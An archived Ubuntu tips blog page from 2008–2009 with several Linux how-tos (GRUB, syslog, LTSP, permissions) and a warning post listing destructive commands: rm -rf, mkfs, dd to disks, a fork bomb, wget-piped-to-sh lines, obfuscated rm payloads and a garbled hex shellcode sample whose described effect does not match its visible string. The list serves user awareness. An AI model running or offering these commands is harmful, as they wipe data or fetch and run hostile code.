&
Advertise Here with Today.com
 

Jan 17 2009

AutoFsck - a better way to treat the filesystem check after 30 boot up

Published by linuxubuntu under Uncategorized Edit This

Any one who have used Ubuntu Linux for longer than a month must have realized that every 30 times you boot up you are forced to run a file system check. This file system check is done, in order to keep your filesystem healthy. Turning the check off completely is generally not recommended. A solution is to increase the number of maximum mounts from 30 to some larger number like 100. But this solution is also not recommended.

AutoFsck is a set of scripts that replaces the file system check script(that comes shipped with Ubuntu). The difference is that AutoFsck doesn’t ruin your day if you are so unfortunate to encounter the 30th mount. The most important difference is that AutoFsck does its check during the shutdown process, not during boot(when you need your computer the most!).

The 30th time you mount your filesystem, AutoFsck will wait until you shut down your computer. It will then ask you if it is convenient for you to check your filesystem. If it is convenient for you, then AutoFsck will restart your computer, automatically execute the filesystem check, and then immediately power down your system. If it is not convenient for you to check your filesystem at that moment, then AutoFsck will wait until the next time you shut down your computer to ask you again. Being prompted for a file system check during shutdown is infinitely more convenient than being forced to sit through a 15 minute check during boot up.

Here is how you can change to AutoFsck.

1. Download the package. It is available on the project page ,(Direct link) .
2. Extract the contents of the archive to anywhere that is convenient for you.
3. Inside that folder, run the script called ‘install’.
4. Follow the on-screen instructions.
5. AutoFsck will start working immediately.

I haven’t done much reading about whether or not this script will be included in the next release of Ubuntu, but I definitely think it should be. AutoFsck finally makes Ubuntu the ultimate distribution of Linux.

Advertise Here with Today.com

No responses yet

Jan 16 2009

Get paid for blogging

Published by linuxubuntu under Uncategorized Edit This

You will be paid( $1 ) for one blog(of 100 words) a day. And get $0.002 for each visitors to your blog….

Click Here to start.

Possibly-related Articles:                                        (auto-generated)

No responses yet

Jan 14 2009

Change the order in the boot list of your grub

Published by linuxubuntu under Uncategorized Edit This

1. Open the file menu.lst

$ sudo gedit /boot/grub/menu.lst

my menu.lst :

# menu.lst - See: grub(8), info grub, update-grub(8)
#            grub-install(8), grub-floppy(8),
#            grub-md5-crypt, /usr/share/doc/grub
#            and /usr/share/doc/grub-doc/.

## default num
# Set the default entry to the entry number NUM. Numbering starts from 0, and
# the entry number 0 is the default if the command is not used.
#
# You can specify ’saved’ instead of a number. In this case, the default entry
# is the entry saved with the command ’savedefault’.
# WARNING: If you are using dmraid do not use ’savedefault’ or your
# array will desync and will not let you boot your system.
default        0

## timeout sec
# Set a timeout, in SEC seconds, before automatically booting the default entry
# (normally the first entry defined).
timeout        10

## hiddenmenu
# Hides the menu by default (press ESC to see the menu)
#hiddenmenu

# Pretty colours
color cyan/blue white/blue

## password [’–md5′] passwd
# If used in the first section of a menu file, disable all interactive editing
# control (menu entry editor and command-line)  and entries protected by the
# command ‘lock’
# e.g. password topsecret
## password –md5 $1$gLhU0/$aW78kHK1QfV3P2b2znUoe/
# password topsecret

#
# examples
#
# title        Windows 95/98/NT/2000
# root        (hd0,0)
# makeactive
# chainloader    +1
#
# title        Linux
# root        (hd0,1)
# kernel    /vmlinuz root=/dev/hda2 ro
#

#
# Put static boot stanzas before and/or after AUTOMAGIC KERNEL LIST

### BEGIN AUTOMAGIC KERNELS LIST
## lines between the AUTOMAGIC KERNELS LIST markers will be modified
## by the debian update-grub script except for the default options below

## DO NOT UNCOMMENT THEM, Just edit them to your needs

## ## Start Default Options ##
## default kernel options
## default kernel options for automagic boot options
## If you want special options for specific kernels use kopt_x_y_z
## where x.y.z is kernel version. Minor versions can be omitted.
## e.g. kopt=root=/dev/hda1 ro
##      kopt_2_6_8=root=/dev/hdc1 ro
##      kopt_2_6_8_2_686=root=/dev/hdc2 ro
# kopt=root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro

## default grub root device
## e.g. groot=(hd0,0)
# groot=4eb97a53-7aa5-4080-80a2-76314d37f5c9

## should update-grub create alternative automagic boot options
## e.g. alternative=true
##      alternative=false
# alternative=true

## should update-grub lock alternative automagic boot options
## e.g. lockalternative=true
##      lockalternative=false
# lockalternative=false

## additional options to use with the default boot option, but not with the
## alternatives
## e.g. defoptions=vga=791 resume=/dev/hda5
# defoptions=quiet splash

## should update-grub lock old automagic boot options
## e.g. lockold=false
##      lockold=true
# lockold=false

## Xen hypervisor options to use with the default Xen boot option
# xenhopt=

## Xen Linux kernel options to use with the default Xen boot option
# xenkopt=console=tty0

## altoption boot targets option
## multiple altoptions lines are allowed
## e.g. altoptions=(extra menu suffix) extra boot options
##      altoptions=(recovery) single
# altoptions=(recovery mode) single

## controls how many kernels should be put into the menu.lst
## only counts the first occurence of a kernel, not the
## alternative kernel options
## e.g. howmany=all
##      howmany=7
# howmany=all

## should update-grub create memtest86 boot option
## e.g. memtest86=true
##      memtest86=false
# memtest86=true

## should update-grub adjust the value of the default booted system
## can be true or false
# updatedefaultentry=false

## should update-grub add savedefault to the default options
## can be true or false
# savedefault=false

## ## End Default Options ##

title        Ubuntu 8.10, kernel 2.6.27-9-generic
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-9-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro quiet splash
initrd        /boot/initrd.img-2.6.27-9-generic
quiet

title        Ubuntu 8.10, kernel 2.6.27-9-generic (recovery mode)
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-9-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro  single
initrd        /boot/initrd.img-2.6.27-9-generic

title        Ubuntu 8.10, kernel 2.6.27-7-generic
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-7-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro quiet splash
initrd        /boot/initrd.img-2.6.27-7-generic
quiet

title        Ubuntu 8.10, kernel 2.6.27-7-generic (recovery mode)
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-7-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro  single
initrd        /boot/initrd.img-2.6.27-7-generic

title        Ubuntu 8.10, kernel 2.6.27-3-rt
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-3-rt root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro quiet splash
initrd        /boot/initrd.img-2.6.27-3-rt
quiet

title        Ubuntu 8.10, kernel 2.6.27-3-rt (recovery mode)
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-3-rt root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro  single
initrd        /boot/initrd.img-2.6.27-3-rt

title        Ubuntu 8.10, memtest86+
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/memtest86+.bin
quiet

### END DEBIAN AUTOMAGIC KERNELS LIST

# This is a divider, added to separate the menu items below from the Debian
# ones.
title        Other operating systems:
root

# This entry automatically added by the Debian installer for a non-linux OS
# on /dev/sda1
title        Windows Vista/Longhorn (loader)
root        (hd0,0)
savedefault
makeactive
chainloader    +1

2. Now if you see the bottom portion you can see the order of your boot list…

mine is :

title        Ubuntu 8.10, kernel 2.6.27-9-generic
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-9-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro quiet splash
initrd        /boot/initrd.img-2.6.27-9-generic
quiet

title        Ubuntu 8.10, kernel 2.6.27-9-generic (recovery mode)
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-9-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro  single
initrd        /boot/initrd.img-2.6.27-9-generic

title        Ubuntu 8.10, kernel 2.6.27-7-generic
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-7-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro quiet splash
initrd        /boot/initrd.img-2.6.27-7-generic
quiet

title        Ubuntu 8.10, kernel 2.6.27-7-generic (recovery mode)
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-7-generic root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro  single
initrd        /boot/initrd.img-2.6.27-7-generic

title        Ubuntu 8.10, kernel 2.6.27-3-rt
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-3-rt root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro quiet splash
initrd        /boot/initrd.img-2.6.27-3-rt
quiet

title        Ubuntu 8.10, kernel 2.6.27-3-rt (recovery mode)
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/vmlinuz-2.6.27-3-rt root=UUID=4eb97a53-7aa5-4080-80a2-76314d37f5c9 ro  single
initrd        /boot/initrd.img-2.6.27-3-rt

title        Ubuntu 8.10, memtest86+
uuid        4eb97a53-7aa5-4080-80a2-76314d37f5c9
kernel        /boot/memtest86+.bin
quiet

### END DEBIAN AUTOMAGIC KERNELS LIST

# This is a divider, added to separate the menu items below from the Debian
# ones.
title        Other operating systems:
root

# This entry automatically added by the Debian installer for a non-linux OS
# on /dev/sda1
title        Windows Vista/Longhorn (loader)
root        (hd0,0)
savedefault
makeactive
chainloader    +1

3. Now just cut and paste the block of code for each os, according to your

Possibly-related Articles:                                        (auto-generated)

No responses yet

Jan 05 2009

Dual boot the easy way

Published by linuxubuntu under Uncategorized Edit This

Windows can stay on your computer, when you install Ubuntu! It’s handy to turn your computer into a dual boot machine. That way you can choose each time you turn on your computer, what operating system you want to boot: Ubuntu or Windows.

It’s easy to do this:

1. Backup all your documents, pictures, music et cetera, on an external storage medium.

2. Make Windows defragment itself, with it’s own defrag tool.

3. Unplug all peripherals from your computer, except for mouse, keyboard and printer.

4. Wire your computer: temporarily establish internet connection with an ethernet cable, wired internet therefore. If you have a laptop, connect the power cord as well: you definitely don’t want to run the risk of an empty battery during the installation of an operating system.

5. Boot your computer from the Ubuntu Desktop CD and choose “Check CD for defects”, thus performing an integrity check on the CD. The CD has to be completely error free. If it’s not, burn a new CD with very low speed (8 x).

6. Then choose “Install Ubuntu” in the boot menu of the Ubuntu Desktop CD. The installer will start by asking you a couple of questions. Only after you have answered all of those, installation will begin.

7. One of the last questions will be a disk partitioning proposal. The installer will namely propose to free some space on the hard disk. Thus leaving somewhat less space for Windows and allowing Ubuntu to be put on the cleared space.

In principle, you can simply agree with this proposal of the installer. However, the installer tends to underestimate the disk space (the surplus empty “breathing space”) needed by Windows. So you may want to increase the disk space for Windows, by moving the slider. Note: give Ubuntu preferably no less than 10 GB.

In other words: the installer assumes automatically (by default) that you don’t want to wipe Windows and that you want a dual boot computer. Ubuntu is user friendly!

8. Now the installation of Ubuntu takes place and in the end you have a dual boot computer.

9. The first time you start Windows in the dual boot configuration, Windows will discover that it’s disk space has shrunk. Windows has to adjust itself to that.

During the first Windows boot you’ll see therefore a blue screen with white letters, informing you that Windows is checking the hard disk and “repairing” it. Simply let it do it’s job. Afterwards Windows will want to reboot. Go along with it. Then Windows is used to it’s new disk space and will function normally.

10. That’s it! You’re done.

Possibly-related Articles:                                        (auto-generated)

No responses yet

Jan 04 2009

kernel-source for your distro?

Published by linuxubuntu under Uncategorized Edit This

These steps should save you some time, trouble and many headaches. In the even that you neglected to read the release notes for FC3…eh-hem…the FC project has decided not to supply the kernel-source in order to prevent redundancy. You see, the kernel-source tree can be extracted from the kernel-*.src.rpm if you absolutely need it. In my case, I needed to supply the –kernel-source-path when (re)installing the latest NVIDIA drivers (more on NVIDIA drivers below…) after rebooting with a new kernel. So, here are the steps that you should follow in order to extract the kernel-source tree from the kernel-*.src.rpm:
Step (1). Go find the kernel-*.src.rpm (#> locate kernel-*.src.rpm) or download it from the Internets. For instance, you could get it from here .
Step (2). Now you must install the rpm. As root, execute
#> rpm -Uvh kernel-*.src.rpm
Step (3). The previous step should have created a kernel-2.6.spec (or similarly kernel-2.4.spec if you’re still on that kernel) file in the /usr/src/redhat/SPECS/ directory. You must build the rpm against this .spec file to get the binaries and source.
As root, execute
#> rpmbuild -bp –target=noarch /usr/src/redhat/SPECS/kernel-2.6.spec
Step (4). Create the necessary symbolic links for your directory tree:
#> cd /usr/src
#> ln -s redhat/BUILD/kernel-2.6.10/linux-2.6.10/ linux
#> ln -s redhat/BUILD/kernel-2.6.10/linux-2.6.10/ linux-2.6.10
Step (5). Now we need to make the new .config files:
#> cd /usr/src/linux-2.6.10
#> make mrproper
#> cp /usr/src/linux-2.6.10/configs/kernel-2.6.10-i686.config /usr/src/linux-2.6.10/.config
#> make oldconfig
#> make menuconfig
#> make
Now, you have a kernel-source tree under /usr/src/linux-2.6.10 just like you would if you had been supplied the kernel-source in the first place. Note that the kernel numbers (i.e. 2.6, 2.6.10, etc.) and system architecture numbers (i.e. i686) may be different for your situation. Replace with correct numbers/information where necessary. I was able to install the new NVIDIA drivers by executing:

#> sh NVIDIA-Linux-x86-1.0-###-pkg1.run –kernel-source-path /usr/src/linux-2.6.10

Possibly-related Articles:                                        (auto-generated)

No responses yet

Jan 03 2009

Remote syslog logging on Ubuntu

Published by linuxubuntu under Uncategorized Edit This

syslogd is the Linux system logging utility that take care of filling up your files in /var/log when it is asked to.

On a standard system, logging is only done on the local drive. But syslog can be configured to receive logging from a remote client, or to send logging to a remote syslog server.

Some of the use cases could be:

* A machine which filesystem goes read-only
* Log replication

this tutorial will explain how to set up both the server, to receive message from a remote client, and the client to emit messages to a syslogd server.

In this tutorial I will consider that you do not have any firewalls interfering with the traffic.
The syslogd server will be called etch32 and has IP 192.168.2.1.
The client is called hardy32-1. Its IP do not matter.

syslogd is using UDP on port 514
1. Setting up the syslogd server

The distribution used for the server is, as its hostname says, a Debian Etch. But, unless you are not using a debian based distro, the changes will be the same.

changes for syslogd are pretty minor. We basically simply have to tell syslogd to listen for remote messages.
It is either opened or closed, there is no filtering, so if you need to only accept a subset of machines, IPtables will be your friend.

To enable remote logging, go and edit /etc/default/syslogd and make sure SYSLOGD is set to:

SYSLOGD=”-r”

then, restart syslogd:

# /etc/init.d/syslogd restart

Now, let set a client to send messages to our remote syslogd server.
2. syslogd clients

The action is in /etc/syslog.conf. In this example, I am going to send to both the remote syslogd server and to the filesystem the messages written to /var/log/messages.

In Ubuntu, this is the bit of conf that handle that:

*.=info;*.=notice;*.=warn;\
auth,authpriv.none;\
cron,daemon.none;\
mail,news.none -/var/log/messages

The default is to send the messages to /var/log/messages without “synching” after each log messages (”-” in front of the file name.).

to specify a remote host, the name or the ip of the remote host as to be given instead of a file, and, prepended with an “@”. So, to send the messages writtent to /var/log/messages, our syslog.conf file will look like:

*.=info;*.=notice;*.=warn;\
auth,authpriv.none;\
cron,daemon.none;\
mail,news.none -/var/log/messages
*.=info;*.=notice;*.=warn;\
auth,authpriv.none;\
cron,daemon.none;\
mail,news.none @etch32

to have etch32 receiving messages from hardy32-1.

now, we need to make syslog aware of the chances:

$ sudo /etc/init.d/sysklogd restart
3. What happens then

Well, lets take a look at each /var/log/messages after I restarted syslogd on hardy32-1 and I started tcpdump on eth0:

Jun 30 23:01:59 etch32 dhcpd: added reverse map from 198.2.168.192.in-addr.arpa. to hardy32-1.lan.debuntu.local
Jun 30 23:01:59 etch32 dhcpd: DHCPREQUEST for 192.168.2.198 (192.168.2.1) from 00:0c:29:d4:01:57 (hardy32-1) via eth1
Jun 30 23:01:59 etch32 dhcpd: DHCPACK on 192.168.2.198 to 00:0c:29:d4:01:57 (hardy32-1) via eth1
Jun 30 23:04:15 hardy32-1.lan.debuntu.local syslogd 1.5.0#1ubuntu1: restart.
Jun 30 23:05:01 hardy32-1.lan.debuntu.local kernel: [ 6268.923820] device eth0 entered promiscuous mode
Jun 30 23:05:01 hardy32-1.lan.debuntu.local kernel: [ 6268.923847] audit(1214863498.177:3): dev=eth0 prom=256 old_prom=0 auid=4294967295
Jun 30 23:05:11 hardy32-1.lan.debuntu.local kernel: [ 6278.677844] device eth0 left promiscuous mode
Jun 30 23:05:11 hardy32-1.lan.debuntu.local kernel: [ 6278.677869] audit(1214863510.404:4): dev=eth0 prom=0 old_prom=256 auid=4294967295

As you can see, messages from hardy32-1 contains the box FQDN: hardy32-1.lan.debuntu.local and we see that eth0 went temporarily in promiscuous mode.

Possibly-related Articles:                                        (auto-generated)

No responses yet

Jan 01 2009

Choose the right ubuntu for your system

Published by linuxubuntu under Uncategorized Edit This

1. Choose Ubuntu 8.04 and not 8.10, if 8.04 runs well on your hardware.

If you don’t need the new drivers of 8.10 for your hardware, 8.04 is the better choice. Because it’s LTS (Long Term Supported) and of enterprise quality (extra reliable and extra stable).

See this graph of the lifecycle of Ubuntu versions .

8.10 is good, but 8.04 is simply better.

2. Pick 32-bit and not 64-bit

The generic 32-bit Ubuntu runs on everything and is usually a better choice than 64-bit Ubuntu. Because for 64-bit Ubuntu, there are still less applications available and less hardware drivers. Furthermore, 64-bit Ubuntu runs only marginally faster than 32-bit.

However, if you have more than 3 GB RAM in your computer, you may prefer 64-bit Ubuntu. Because only then you will be able to fully utilize your computer’s RAM. With 32-bit Ubuntu, 3 GB RAM is the maximum useable amount of memory.

Because of the 32-bit memory hole, with 4 GB RAM you can only partially use the last GB. And the GB’s above 4 GB are completely useless. This applies to all 32-bit operating systems, including 32-bit Windows and Mac OS.

Here you can get a free copy of Ubuntu 8.10 .

Possibly-related Articles:                                        (auto-generated)

No responses yet

Dec 31 2008

Understanding and setting permissions

Published by linuxubuntu under Uncategorized Edit This

Reading file and directory permissions with: ls -sl

* Reading file and directory permissions with: ls -sl
!Example
4 drwxr-x— 2 user user 4096 Feb 17 15:04 images/
4 -rw-rw-r– 1 user user 624 Feb 11 09:08 index.htm
4 drwxr-xr-x 2 user user 4096 Feb 17 15:04 public/
4 -rwxrwxrwx 2 user user 4096 Feb 17 15:04 foo.txt
!
o There are 10 location in the permission string:
1) First location is either d (directory) or - (file)
2) Read permission for User (1st name, fourth column)
3) Write permission for User
4) Execute permission for User
5) Read permission for Group (2nd name, fifth column)
6) Write permission for Group
7) Execute permission for Group
8) Read permission for Global (everyone)
9) Write permission for Global
10)Execute permission for Global

o In the above example, the directory images/ has read-write-execute permissions for the User user,read-execute permissions for the Group user, and no permissions for Global. No person except for the User user may make changes to this directory.

o The file index.htm has read-write permissions for the User and Group, is readable by Global, and eexecutable by nobody.

o The directory public/ has the same User and Group permissions as images/, but this directory may be read or executed by Global.

o The file foo.txt has read-write-execute permissions for User, Group, and Global

* Setting permissions with: chmod

o Useage: chmod ### foo
o # is set by summing the allowable permissions using the mapping:
oo 1 - Execute
oo 2 - Write
oo 4 - Read

!Examples
o To set the permissions for images/: chmod 750 images/
o To set the permissions for index.htm: chmod 664 index.htm
o To set the permissions for public/: chmod 755 public/
o To set the permissions for foo.txt: chmod 777 foo.txt

Possibly-related Articles:                                        (auto-generated)

No responses yet

Dec 30 2008

Commands that Should not be run in ubuntu

Published by linuxubuntu under Uncategorized Edit This

These are some of those command which is likely to damage your Ubuntu operating system!

Please DO NOT use any of them with out proper knowledge , just read it!

sudo rm -rf / (will delete all your files on your system) - required administrator rights!
sudo rm -rf . (will delete the current directory your in) - required administrator rights!
sudo rm -rf * (will delete all the files in the current folder) - required administrator rights!
rm -rf * or rm -rf *.* ( will delete all the files in the current folder) - No administrator rights needed!
rm -rf ~/ & ( will destroy your home directory) - No administrator rights needed


Commands which will erase your harddisk!

sudo mkfs (will format your hard drive) - required administrator rights!
sudo mkfs.ext3 ( will format your hard drive) - required administrator rights!
sudo mkfs.bfs ( will format your hard drive) - required administrator rights!
sudo mkfs.cramfs ( will format your hard drive) - No administrator rights needed!
sudo mkfs.ext2 (will format your hard drive) - required administrator rights!
sudo mkfs.minix (will format your hard drive) - required administrator rights!
sudo mkfs.msdos (will format your hard drive) - required administrator rights!
sudo mkfs.reiserfs (will format your hard drive) - required administrator rights!
sudo mkfs.vfat (will format your hard drive) - required administrator rights!

The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often!
sudo dd if=/dev/zero of=/dev/hda (MOST DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) ( required administrator rights)
sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)
sudo dd if=something of=/dev/hda (Needs administrator rights)

WARNING: /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb in the case of SATA and SCSI.

Block device manipulation: Causes raw data to be written to a block device. Often times this will strike violently the filesystem and cause total loss of data!

any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb : It is a malicious script that will execute a number of processes until your system freezes, this will force you to do a hard reboot which may cause damage to your system.

The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON’T EXECUTE THEM!

CODE :
:(){:|:&};:
CODE :
fork while fork

Tarbomb: Let’s say that somebody who wants to help you, he offer a tar.gz or tar.bz2 archive and asks you to extract it into an existing directory. This archive can be crafted to explode into a billions of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created empty directory!

Decompression bomb: Here’s another example. Let’s say somebody asks you to extract an archive which appears to be a small download. In reality it’s highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!

Shellscript: This one is very dangrous! Somebody gives you a link to download, to a shellscript and then they will asks you to execute it. This script can contain dangerous command he chooses, and that will damage your system . Do not execute code from people you don’t trust! Here are some examples:
CODE :
wget http://my_site/my_file
sh ./some_file

Example :
wget http://ceattingal.ac.in/malicious-script
sh ./malicious-script

or
wget http://my_site/my_file -O- | sh
Example :
wget http://ihrd.org/malicious-script -O- | sh

Compiling code:
Some person gives you the source code to an application and tells you to compile it. It is easy to hide dangerous codes in side large wad of source code, the attacker can easly damage your system. So Do not compile or execute the compiled code unless the source is of some well-known application, obtained from a reputable site.

A famous example I have seen on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. There was this payload:

CODE :
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0×50x54×5ax83xecx64×68″
“xffxffxffxffx68xdfxd0xdfxd9×68x8dx99″
“xdfx81×68x8dx92xdfxd2×54x5exf7×16xf7″
“x56×04xf7×56x08xf7×56x0cx83xc4×74x56″
“x8dx73×08x56×53x54×59xb0×0bxcdx80×31″
“xc0×40xebxf9xe8xbdxffxffxffx2fx62×69″
“x6ex2fx73×68x00×2dx63×00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

To the new and inexperienced computer user, this looks like the “hex code gibberish stuff” that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root.

Here’s another example of code that should definitely NOT be executed by anyone!

CODE : python -c ‘import os; os.system(”".join([chr(ord(i)-1) for i in “sn!.sg!+”]))’

Where “sn!.sg!+” is simply rm -rf * shifted a character up.

It is just for awareness of new and inexperienced users , You must know the above commands, don’t try them with out any proper knowledge. Good Luck

Possibly-related Articles:                                        (auto-generated)

No responses yet

Dec 30 2008

Setting UP LTSP 5

Published by linuxubuntu under Uncategorized Edit This

When you set up LTSP on Ubuntu 8.04 you will notice that it is very easy to get going in LTSP 5. Most of the configuration is automatically done for you. Install the Ubuntu 8.04.1 Desktop CD. You must have a graphical interface running on the server to be provided for the clients. Once you have installed the Desktop, be sure your network is set to operate on a static IP Address. Next you will need to install several programs required for the ltsp setup.

sudo apt-get install ltsp-server-standalone openssh-server

Create your Thin Client environment on the server with this command:

sudo ltsp-build-client

Update the Desktop System

sudo apt-get update

sudo apt-get upgrade

Configure DHCP
You will supply IP Addresses to the thin clients using DHCP. The file you want to edit is /etc/ltsp/dhcpd.conf. Note this is not the normal dhcpd.conf file that you would edit, this is a special file for LTSP only.

Here is a partial example file. The first line ensures that clients will use this DHCP server:

authoritative;

The subnet is declared with the network and netmask:

subnet 192.168.7.0 netmask 255.255.255.0 {

The next line which is indented is the range that your DHCP server will supply. So on this network example you could have static IP Addresses from 192.168.7.1-192.168.7.124 and then the range will define what dynamic IPs will be supplied by the DHCP server.

range 192.168.7.125 192.168.7.246;

It is a good idea to provide a DNS server for the clients:

option domain-name-servers 12.32.34.32;

Define the broadcast address:

option broadcast-address 192.168.7.255;

The optional router will also be the gateway for your network:

option routers 192.168.7.2;

Now you can set up individual diskless workstations. In these examples the hostname for the workstation is declared:

host ws205 {

Because you want to declare these hosts it is important that you modify your /etc/hosts file so the workstation is listed there. Here the workstation number is tied to the IP Address on the network so that it is easy to trouble shoot as you know right where to go to fix either a network problem or a hardware issue.
—cut—

ws202 192.168.7.202

ws203 192.168.7.203

ws205 192.168.7.205

ws206 192.168.7.206

—cut—

The hardware MAC address for each network card is listed so that you can tie the IP to a specific diskless workstation.

hardware ethernet 00:13:90:00:D7:8F;

The fixed IP Address is noted.

Fixed-address 192.168.7.205;

Finally a location to get the image for the diskless workstation is provided.

filename “/ltsp/i386/pxelinux.0″;

That is the configuration for the clients as they will boot

#

# Default LTSP dhcpd.conf config file.

#

authoritative;

subnet 192.168.7.0 netmask 255.255.255.0 {

range 192.168.7.125 192.168.7.246;

option domain-name-servers 12.32.34.32;

option broadcast-address 192.168.7.255;

option routers 192.168.7.2;

host ws205 {

hardware ethernet 00:13:90:00:D7:8F;

fixed-address 192.168.7.205;

filename “/ltsp/i386/pxelinux.0″;

}

host ws247 {

hardware ethernet 00:13:90:00:67:AF;

fixed-address 192.168.7.247;

filename “/ltsp/i386/pxelinux.0″;

—cut—

When you have finished restart the server. Run these commands to update your ssh keys.

sudo ltsp-update-sshkeys
sudo ltsp-update-image

Be sure to do it in that order.

Possibly-related Articles:                                        (auto-generated)

Comments Off

Advertise Here